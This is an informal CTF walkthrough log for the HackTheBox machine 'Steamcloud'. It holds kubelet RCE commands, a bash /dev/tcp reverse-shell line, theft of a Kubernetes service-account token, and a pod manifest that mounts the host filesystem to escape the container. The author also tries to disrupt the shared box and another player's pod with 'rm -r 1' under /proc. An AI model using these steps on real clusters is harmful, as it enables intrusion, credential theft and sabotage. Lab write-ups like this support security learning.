HackTheBox: Steamclou


This is a retired easy box that's free until mid-august.


Initial scan shows a LOT of ports open:

22/tcp    open  ssh
80/tcp    open  http
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown

I suspect that the last three are dummy ports though; not technically false positives, but not relevant to this box. Ive noticed that with HTB boxes before. It could actually be ports opened by other players, maybe for reverse shells or something.

Script scan of just the open ports shows the following condensed info:

80:      nginx 1.14.2
2379:    ssl/etcd-server, commonName=steamcloud
2380:    ssl/etcd-server, commonName=steamcloud
8443:    ssl/https-alt

We get a 403 error when tying to access the https page on 8443. Interestingly, two of the HTTPS headers mention Kubernetes;

X-Kubernetes-Pf-Flowschema-Uid: def40b57-6b30-44bf-8ddf-99cff7e84c4c
X-Kubernetes-Pf-Prioritylevel-Uid: 92ad2766-c55b-4df8-b9cd-8c5cf52f6354

Nikto finds something potentially useful about port 8443:

Hostname '' does not match certificate's names: minikube.

Assumedly this means that the target's hostname, or ONE of it's host names, it "minikube." Ill add that to /etc/hosts and see if anything changes. I also went ahead and added "steamcloud" and "steamcloud.htb", since they appeared in the nmap script scan.

/etc/hosts minikube steamcloud steamcloud.htb

Nope, no luck with either HTTP or HTTPS on 8443 using any of those three names. Ill keep nikto running in the background while I do some research on "etcd-server" to see what that's all about.

Nikto only got a false-positive about a #wp-config.php file on the http server. For the https server on 8443, it identified the kubernetes header I saw earlier as well as one more:

+ /: Uncommon header 'x-kubernetes-pf-prioritylevel-uid' found, with contents: 92ad2766-c55b-4df8-b9cd-8c5cf52f6354.
+ /: Uncommon header 'x-kubernetes-pf-flowschema-uid' found, with contents: def40b57-6b30-44bf-8ddf-99cff7e84c4c.
+ /: Uncommon header 'audit-id' found, with contents: da0a1437-bfe2-4933-9df9-a751466223d8.

If UID means what I think it does, then these are probably some kind of user IDs embedded in the response. That may or may not be useful down the line.

Im still a complete newb to nginx, but from my own reading and also from hearing ippsec say it, it sounds like nginx is often used just as a reverse proxy in front of a server. So I assume what that means is that if we send the right HTTP requests, this nginx server may forward it somewhere else internally in the target and we might get a response. Not sure though.

Hold on: I don't know how the fuck this slipped by me in the first place, but the nmap script did something with DNS to resolve host name, and I totally ignored it. I dont know how it wouldve, since as far as I can tell there's no DNS gateway here. Let me go back and see what it said:

Nmap script scan also shows something else that for some reason didn't appear when I manually intercepted the request/response with Burp. Its a string in the response from port 8443 that looks interesting:


Something about Trinity.txt.bak.

But for reference, this is all I see in Burp:

 "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {

So I dont know where nmap is getting the whole "Trinity.txt.bak" thing...

Okay, apparently thats just an artifact of nmap. Googling trinity.txt.bak pulls up similar results and apparently its just an nmap thing.

Back to ports 2379 and 2380, these are "etcd" ports. I believe 2379 is client and 2380 is server, and it's a kubernetes-related protocol for what sounds like data synchronization. Apparently 'etcd' is a key-value store (almost like a database? eg 'key'='value'). It looks like there are metasploit modules for scanning these ports, and from what Ive seen it almost looks like it just brute-forces key names to see if it gets any values out. But not sure...

The nmap script scan identifies both etcd ports (client and server) as having commonName 'steamcloud'.

Research: What is kubernetes?

From the sounds of it, [[Kubernetes]] is a management system for container-based applications. It helps you manage services distributed between multiple hosts, each host running one or more containers used by the application. It sounds like the point of it is to assist scaling. One thing yo can do with it is set up automated backups, for example.

It appears that Kubernetes is basically an entire framework rather than one piece of software, and it basically has its own set of jargon terms.

Even though I probably COULD just look up an article on how to pentest kubernetes boxes, I may as well invest the time to actually learn what it's all about. It would serve me better in the long term; for one thing I might actually encounter Kubernetes in engineering, and Im sure Ill also see it again in different boxes.

Okay. So its a way of managing clusters of containers (which are NOT the same as virtual machines in that each container is not running it's own OS, from what I can tell).

![[Pasted image 20230724204838.png]] (That key-value store it shows is what is running on ports 2379 and 2380)

So the worker node(s) are the machines that run the actual containers, and the master node runs the control software that manages the worker nodes. Obviously the worker node and master node could be the same physical machine, I assume.

So that makes sense I guess. Now what is the key-value store?

It appears to be a relatively simple database that just associates values with key terms. Essentially its just a 2-column database where one column is the key and the other is the value. ==I dont know if you query it for a specific value or if you just dump the entire thing?==

Kubernetes uses distributed key-value stores, which spread the store over potentially multiple machines for the sake of parallelizing operations.

It stores ALL its data in a key-value store (Specifically etcd): config data,state, metadata, etc), and because Kubernetes has to manage distributed nodes, its database has to be accessible to those machines as well. Hence the 'distributed' key value store, it runs on a server.

Okay, so now we're getting somewhere. We would expect that the key-value store will hold all the config info for the kubernetes app.

Accessing the key-value store

At this step it looks like the best option would be to try and dump the key-value store's contents. From looking online there appear to be a couple ways of doing this. One option is to use metasploit, which has a scanner for etcd. The other is to try and do it manually using the etcd client (https://etcd.io/docs/v3.4/dev-guide/interacting_v3/).

The second option would require installing from source which I didnt feel like doing, and the metasploit module didnt work either. Let me check the walkthrough quickly:

Consulting the walkthrough

Looks like I didnt do my research well enough. Turns out port 10250 is actually what should have caught my attention; its the default port for a kubernetes extension called Rancher.

Also, port 8443 is actually the default port for the Kubernetes API (although other services use it too).

Should feel embarrassed about missing that; all it would have taken is a 5-second google search to figure out what it was.

The walkthrough ran the following command to dump data from port 10250:

$ curl -k

(the -k flag ignores ssl cert warnings)

So obviously I didnt do my research. Anyway, that's enough of a hint. Ill go back to my own devices now

Back on my own

So port 10250 inidicates that this kubernetes system has "Rancher" installed. From its documentation,

The port **10250** on the `kubelet` is used by the `kube-apiserver` (running on hosts labeled as **Orchestration Plane**) for exec and logs. It’s very important to lock down access to this port, only the hosts labeled as **Orchestration Plane** should be able to access `kubelet` on port **10250**.

Here's a useful hacktricks page on kubernetes that discusses port 10250: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services

According to hacktricks,

If you can list nodes you can get a list of kubelets endpoints with:

kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do

So I have to install kubectl which looks like a pain in the ass. Im also out of time for today so Ill pick it up tomorrow.

Back the next day, following writeup

For the sake of time, and because this is my first Kubernetes box, Im just going to use the writeup liberally. Im also going to do this the lazy way and not only do as much research as I need to, rather than research until I feel I understand Kubernetes completely.

It may not be the "right" way to do it, but when you only have 2 hours or less a day its hard not to cut some corners.

Where we left off, we had just dumped the list of pods using port 10250 (Rancher) using

curl -k

Lets skim through this data and see what stands out.

Also, a quick note: This data appears to be in JSON form, and its much easier to read by just typing the url into the browser to have the browser format it.

So there appear to be 9 objects listed in the pods dump: 0) etcd-steamcloud 1) kube-apiserver-steamcloud 2) kube-controller-manager-steamcloud 3) kube-scheduler-steamcloud 4) 0xdf-pod 5) lewin 6) storage-provisioner 7) kube-proxy-9vxv7 8) coredns-78fcd69978-vx457 9) nginx

The writeup at this point decides to use a CLI tool called kubeletctl to interact with the system, and installs it as follows:

curl -LO
chmod a+x ./kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

This kubeletctl tool can be used to scan for pods, account tokens, RCE vulnerabilities, etc.

I used the "scan rce" option to check for RCE vulns in any of the pods, and it found that 'nginx', 'kube-proxy-9vxv7', and '0xdf-pod' were all vulnerable.

==The walkthrough singled out the nginx pod, Im not totally sure why.== But he decided to target that one and try to run commands on there using the kubeletctl tool's "exec" command.

==Okay, just to clarify, a POD encloses one or more CONTAINERS.==

When you use kubeletctl to run commands through RCE you need to specify both the pod and the container as well as the server.

==How exactly does RCE through pods work?==

Anyway, following the writeup, I ran "id" on the nginx pod as follows:

$ kubeletctl exec "id" -p nginx -c nginx --server

uid=0(root) gid=0(root) groups=0(root)

Nice. Its root and I have RCE. The walkthrough didnt do this, but I also checked the other containers that came up as vulnerable for RCE. The '0xdf-pod' is also running as root, but the proxy one gave me an error.

Okay, lets get a reverse shell on the nginx one I guess. Im still not sure why he singles that one out, but Ill roll with it for the sake of time.

kubeletctl exec "bash -i >& /dev/tcp/ 0>&1" -p nginx -c nginx --server

No luck there... and from viewing /etc/shadow in both containers, I can see there are no users besides root. I actually did find both the user and root flags by just exec'ing "find / -name root.txt" and "user.txt", but I assume thats not how your supposed to do it.

The writeup tries to priv esc by extracting the account token and SSL cert from the container so that it can use those creds to access the master node via the kubelet API on port 8443. From there the master node will think its the kubelet accessing it, and he will be able to run commands as that kubelet. Depending on the permissions of the kubelet, he will see what he can do.

Okay. Im pretty much just going through the motions right now. I get rougjly what's going on, but Im not sure how he knew where to look for each thing. Assumedly he just has experience with Kubernetes already, or he owns a crystal ball and didnt mention it. Whatever. Ill try not to get too pissed off at this one.

Grabbing the token and SSL cert for priv esc

Like I said, Im just following the writeup and not trying to figure it out myself.

This is basically what he did to grab the token and SSL cert, but with minor tweaks to skip a few steps:

$ kubeletctl exec "ls /var/run/secrets/kubernetes.io/serviceaccount" -p nginx -c nginx --server

ca.crt  namespace  token

$ token=`kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx --server`

$ echo $token


$ kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx --server >> ca.crt

$ cat ca.crt 


Okay. Now we have to install kubectl (the official kubernetes CLI) to use these creds to access the official API:

$ curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl

$ chmod +x kubectl 

$ sudo mv kubectl /usr/bin/kubectl

Okay. Now we connect to the API on port 8443 (this is verbatim from the writeup save for the IP):

$ kubectl --token=$token --certificate-authority=ca.crt --server= get pods
NAME       READY   STATUS             RESTARTS       AGE
0xdf-pod   1/1     Running            0              14h
lewin      0/1     CrashLoopBackOff   36 (48s ago)   161m
nginx      1/1     Running            0              19h

Cool. So we can see the pods. This doesnt show all of the ones that kubeletctl did, I guess this only shows user-created pods.

Now he checks what permissions he has using

$ kubectl --token=$token --certificate-authority=ca.crt --server= auth can-i --list

pods          []                      []               [get create list]

So this user can get, create, and list pods.

Honestly, from this point on I have no idea WTF the author of the writeup is doing. He makes a new pod using the same nginx image as the existing nginx container, mounts that image in the new pod, and then reads the files in the nginx container THROUGH the new pod he created with that image mounted inside. But he doesnt explain WHY, and it makes no fucking sense to do that, since youre already root on the existing nginx container. As in, I already found the fucking flags on it.

I truly dont see the point of what this guy is doing unless its just an exercise for the sake of learning how to do it. But since we used creds FOUND FROM THIS CONTAINER USING RCE to get this far, this step is completely fucking irrelevant...

This writeup by 0xdf is way better:


Okay, so I misunderstood what the other author was doing by creating another container. What hes actually doing is creating a container with the HOST MACHINE's system root "/" mounted within the container, NOT the "/root" dir of the nginx container. I was doubly confused. So basically hes creating another container that he can use to explore files on the machine hosting the kubernetes server. He doesnt technically have control over the host though, he's just able to view its file system. I also don't know if its a COPY of the host file system or if its actually synchronized and he can affect it. If he can write on the host filesystem, than I guess he could potentially GET RCE in a number of ways, depending on his permissions.

I am confused though. Is it normal for the host API to just let you mount the entire system root into a container? I would assume that could only happen through a major misconfiguration, like either running the API as root or having bad permission settings...

Oh well. Lets see if I can get actual RCE on the host.

ALSO: the 0xdf-pod is NOT supposed to be there. That was probably created by another user. So you really DO have to use this method to get the root flag on this box, I just didnt realize that I wasnt supposed to be able to see that box.

So to create a new box you need to make a .yaml file. There's one in the 0xdf writeup, so Ill just copy+paste that.

apiVersion: v1 
kind: Pod
  name: not-part-of-the-ctf
  namespace: default
  - name: not-part-of-the-ctf
    image: nginx:1.14.2
    - mountPath: /mnt
      name: hostfs
  - name: hostfs
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

(I changed the name from 0xdf-pod to "not-part-of-the-ctf" so that other players wouldnt make the same mistake hopefully)

Then create it using kubectl apply:

$ kubectl --token=$token --certificate-authority=ca.crt --server= apply -f malicious_pod.yaml 

pod/not-part-of-the-ctf created

Then list pods to confirm it was created and is running:

$ kubectl --token=$token --certificate-authority=ca.crt --server= get pods                  

NAME                  READY   STATUS             RESTARTS        AGE
0xdf-pod              1/1     Running            0               15h
lewin                 0/1     CrashLoopBackOff   47 (4m2s ago)   3h41m
nginx                 1/1     Running            0               20h
not-part-of-the-ctf   0/1     CrashLoopBackOff   2 (26s ago)     51s

Aaaand... its not. It crashed.

I think its because the jerkoff who copy+pasted the '0xdf-pod' verbatim from the writeup never terminated it afterwards, and probably only one machine can mount the root at a time. Checking the 0xdf-pod's configuration using

$ kubectl --token=$token --certificate-authority=ca.crt --server= get pod 0xdf-pod -o yaml   

I can see that he did in fact just copy+paste, so I guess I can just finish the CTF through that container. Fucking twat. Im gonna see if I can get RCE and shut his down.

The 0xdf writeup credits one of his readers for pointing out that you CAN get a shell through kubeletctl without needing a reverse shell:

$ kubeletctl exec "/bin/bash" -p 0xdf-pod -c 0xdf-pod --server 


Beautiful. So now I have a root shell in this douchebag's box, which assumedly is hooked up to the host file system.

Got the flags. I tried to do some "extra credit" and shut down the 0xdf-box unsuccessfully, ran out of time. See "After rooting" for details

After rooting

Having to use the writeup took all the fun out of this one, and to be honest I had no real interest in learning about kubernetes. Oh well. I guess I still learned something.

I cant pretend to take credit for beating this or anything since I used the writeup for every part of this process.

==I am curious though, how exactly does the kubeletctl tool check for and execute RCE on a container? Read the source code if its available to find out.== I dont have the source code on my system since I just installed a binary, but it may be on Github.

I tried to shut down the other guy's pod to see if mine would work afterwards. Basically I got a root shell in his box by just running

$ kubeletctl exec "/bin/bash" -p 0xdf-pod -c 0xdf-pod --server 

and then I navigated into the host machine's file system which is in the pod's /mnt:

root@steamcloud:/# cd /mnt
cd /mnt

root@steamcloud:/mnt# ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var

I suspected that this file system was 'live' and not just a copy of the original. To verify this I went to /proc (really /mnt/proc since this is just another device's file system mounted in /mnt), ran ls a few times, and saw that the PID numbers were actually changing; this confirms that it IS live file system from the host:

root@steamcloud:/mnt# cd proc
cd proc

root@steamcloud:/mnt/proc# ls
1      1447  1693  26     36   617  82           interrupts    self
10     1449  17    2604   387  62   83           iomem         slabinfo
10806  1455  1733  2623   4    620  84           ioports       softirqs
11     1463  178   2662   407  63   85           irq           stat
11073  147   19    26692  452  64   86           kallsyms      swaps
11091  148   2     2680   455  65   87           kcore         sys
11349  149   20    27     456  66   9            key-users     sysrq-trigger
11367  15    2042  2706   54   67   97           keys          sysvipc
11394  150   21    2734   55   68   acpi         kmsg          thread-self
11411  151   2133  2752   56   680  buddyinfo    kpagecgroup   timer_list
11431  1517  2150  28     560  69   bus          kpagecount    tty
11554  152   22    29     561  70   cgroups      kpageflags    uptime
12     1524  2220  3      57   71   cmdline      loadavg       version
12448  1530  2238  30     578  72   consoles     locks         vmallocinfo
12464  1533  2276  30772  58   73   cpuinfo      meminfo       vmstat
12626  154   229   30791  582  74   crypto       misc          zoneinfo
12803  155   2297  31     585  75   devices      modules
13178  16    2298  31281  586  76   diskstats    mounts
13191  1612  23    32     588  77   dma          mtrr
13448  1634  2320  33     59   78   driver       net
13464  1639  24    34     591  79   execdomains  pagetypeinfo
13635  1656  2412  354    6    8    fb           partitions
[[13660]]  1672  2430  356    60   80   filesystems  sched_debug
14     1674  25    357    61   81   fs           schedstat

root@steamcloud:/mnt/proc# ls
1      1447  1693  26     36   617  82           interrupts    self
10     1449  17    2604   387  62   83           iomem         slabinfo
10806  1455  1733  2623   4    620  84           ioports       softirqs
11     1463  178   2662   407  63   85           irq           stat
11073  147   19    26692  452  64   86           kallsyms      swaps
11091  148   2     2680   455  65   87           kcore         sys
11349  149   20    27     456  66   9            key-users     sysrq-trigger
11367  15    2042  2706   54   67   97           keys          sysvipc
11394  150   21    2734   55   68   acpi         kmsg          thread-self
11411  151   2133  2752   56   680  buddyinfo    kpagecgroup   timer_list
11431  1517  2150  28     560  69   bus          kpagecount    tty
11554  152   22    29     561  70   cgroups      kpageflags    uptime
12     1524  2220  3      57   71   cmdline      loadavg       version
12448  1530  2238  30     578  72   consoles     locks         vmallocinfo
12464  1533  2276  30772  58   73   cpuinfo      meminfo       vmstat
12626  154   229   30791  582  74   crypto       misc          zoneinfo
12803  155   2297  31     585  75   devices      modules
13178  16    2298  31281  586  76   diskstats    mounts
13191  1612  23    32     588  77   dma          mtrr
13448  1634  2320  33     59   78   driver       net
13464  1639  24    34     591  79   execdomains  pagetypeinfo
13635  1656  2412  354    6    8    fb           partitions
[[13661]]  1672  2430  356    60   80   filesystems  sched_debug
14     1674  25    357    61   81   fs           schedstat

Notice the PID number I put in brackets between the two times I ran ls. These are different, thus confirming that the file system is actually changing, which means it is live.

I tried to force the system to crash by running the following:

root@steamcloud:/mnt/proc# rm -r 1

Because PID 1 is /sbin/init, which is basically running the system:

root@steamcloud:/mnt/proc# cd 1
cd 1

root@steamcloud:/mnt/proc/1# ls
attr             exe        mounts         projid_map    status
autogroup        fd         mountstats     root          syscall
auxv             fdinfo     net            sched         task
cgroup           gid_map    ns             schedstat     timers
clear_refs       io         numa_maps      sessionid     timerslack_ns
cmdline          limits     oom_adj        setgroups     uid_map
comm             loginuid   oom_score      smaps         wchan
coredump_filter  map_files  oom_score_adj  smaps_rollup
cpuset           maps       pagemap        stack
cwd              mem        patch_state    stat
environ          mountinfo  personality    statm

root@steamcloud:/mnt/proc/1# cat cmdline